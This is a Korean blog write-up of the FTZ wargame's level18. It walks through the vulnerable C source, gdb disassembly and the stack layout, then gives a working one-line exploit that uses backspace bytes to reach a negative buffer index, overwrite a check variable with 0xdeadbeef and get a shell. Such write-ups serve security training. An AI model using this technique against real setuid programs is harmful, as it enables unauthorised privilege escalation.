티스토리 뷰
level18 password is why did you do it
힌트는 다음과 같다.
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf("Enter your command: ");
fflush(stdout);
while(1)
{
if(count >= 100)
printf("what are you trying to do?\n");
if(check == 0xdeadbeef)
shellout();
else
{
FD_ZERO(&fds);
FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
{
if(FD_ISSET(fileno(stdin),&fds))
{
read(fileno(stdin),&x,1);
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b \b");
break;
default:
string[count] = x;
count++;
break;
}
}
}
}
}
}
void shellout(void)
{
setreuid(3099,3099);
execl("/bin/sh","sh",NULL);
}
지금까지 봐온 FTZ bof문제와 비교하면 짱짱 길다ㅠ
순서대로 보면, command를 입력받고,
1) count 가 100보다 같거나 크면 what are you trying to do? 를 출력
2) check 가 0xdeadbeef 일치하면 shellout() 함수를 출력하여 쉘이 실행된다.
fileno 함수 -> stream과 현재 연관된 파일 핸들을 판별
FD_ZERO 함수 -> fd_set으로 선언된 변수 초기화
FD_SET 함수 -> STDIN_FILENO 값을 fd_set으로 선언된 fds 변수에 추가할 때 사용
FD_ISSET 함수 -> fd_set으로 선언된 fds 변수에 특정 FD 값이 설정되었는지 확인할 때 사용
attackme 실행 시 많은 값을 넣게 되면, count가 증가해 what are you trying to do? 라는 문장이 출력된다.
gdb로도 한번 보자
Dump of assembler code for function main:
0x08048550 <main+0>: push ebp
0x08048551 <main+1>: mov ebp,esp
0x08048553 <main+3>: sub esp,0x100
0x08048559 <main+9>: push edi
0x0804855a <main+10>: push esi
0x0804855b <main+11>: push ebx
0x0804855c <main+12>: mov DWORD PTR [ebp-108],0x0
0x08048563 <main+19>: mov DWORD PTR [ebp-112],0x0
0x0804856a <main+26>: push 0x8048800
0x0804856f <main+31>: call 0x8048470 <printf> -> Enter your command:
0x08048574 <main+36>: add esp,0x4
0x08048577 <main+39>: mov eax,ds:0x804993c
0x0804857c <main+44>: mov DWORD PTR [ebp-252],eax
0x08048582 <main+50>: mov ecx,DWORD PTR [ebp-252]
0x08048588 <main+56>: push ecx
0x08048589 <main+57>: call 0x8048430 <fflush>
0x0804858e <main+62>: add esp,0x4
0x08048591 <main+65>: jmp 0x8048598 <main+72>
0x08048593 <main+67>: jmp 0x8048775 <main+549>
0x08048598 <main+72>: cmp DWORD PTR [ebp-112],0x63 -> 0x63 = 99
0x0804859c <main+76>: jle 0x80485ab <main+91>
0x0804859e <main+78>: push 0x8048815
0x080485a3 <main+83>: call 0x8048470 <printf>-> what are you trying to do?\n
0x080485a8 <main+88>: add esp,0x4
0x080485ab <main+91>: cmp DWORD PTR [ebp-104],0xdeadbeef
0x080485b2 <main+98>: jne 0x80485c0 <main+112>
0x080485b4 <main+100>: call 0x8048780 <shellout>
0x080485b9 <main+105>: jmp 0x8048770 <main+544>
0x080485be <main+110>: mov esi,esi
0x080485c0 <main+112>: lea edi,[ebp-240]
0x080485c6 <main+118>: mov DWORD PTR [ebp-252],edi
0x080485cc <main+124>: mov ecx,0x20
0x080485d1 <main+129>: mov edi,DWORD PTR [ebp-252]
0x080485d7 <main+135>: xor eax,eax
0x080485d9 <main+137>: cld
0x080485da <main+138>: repz stos es:[edi],eax
꽤 길지만 필요해 보이는 부분만 잘랐다.
stack 구조를 그림으로 표현하면 다음과 같다.
이 문제는 이전 문제까지의 buffer overflow로는 풀 수 없고 stack 상에서 양수가 아닌 음수로 check에 접근하는 방법으로 해야한다.
string[음수]가 되면 check를 침범할 수 있고, 여기서 check에 0xdeadbeef 값을 넣어주면 shellout() 함수가 호출될 것이다.
코드에서 case문을 보면 x가 0x08일 때 count--;를 해주고, check는 string[0]에서 4byte만큼 떨어져 있으므로
count가 -4가 되도록 하면 될 것 같다.
hex값을 입력해줘야 하므로 0x08 이런식으로 입력하지 않도록 주의해주자.
(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme
Level19 Password is "swimming in pink".
'System > FTZ' 카테고리의 다른 글
[FTZ] level19 (0) | 2017.10.10 |
---|---|
[FTZ] level17 (0) | 2017.09.28 |
[FTZ] level16 (0) | 2017.09.28 |
[FTZ] level15 (0) | 2017.09.27 |
[FTZ] level14 (0) | 2017.09.25 |
- Total
- Today
- Yesterday
- BOF
- Python
- ubuntu
- lob
- 설치
- pwnable.kr
- pwnable
- 0xdeadbeef
- 자바
- 워게임
- wargame
- 파이썬
- Los
- attackme
- cobolt
- 1번
- C
- 우분투
- Lord of SQL Injection
- ftz
- 웹해킹
- MySQL
- my-pass
- webhacking.kr
- 명령어
- wargame.kr
- c언어
- java
- lord of sqlinjection
- WebHacking
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |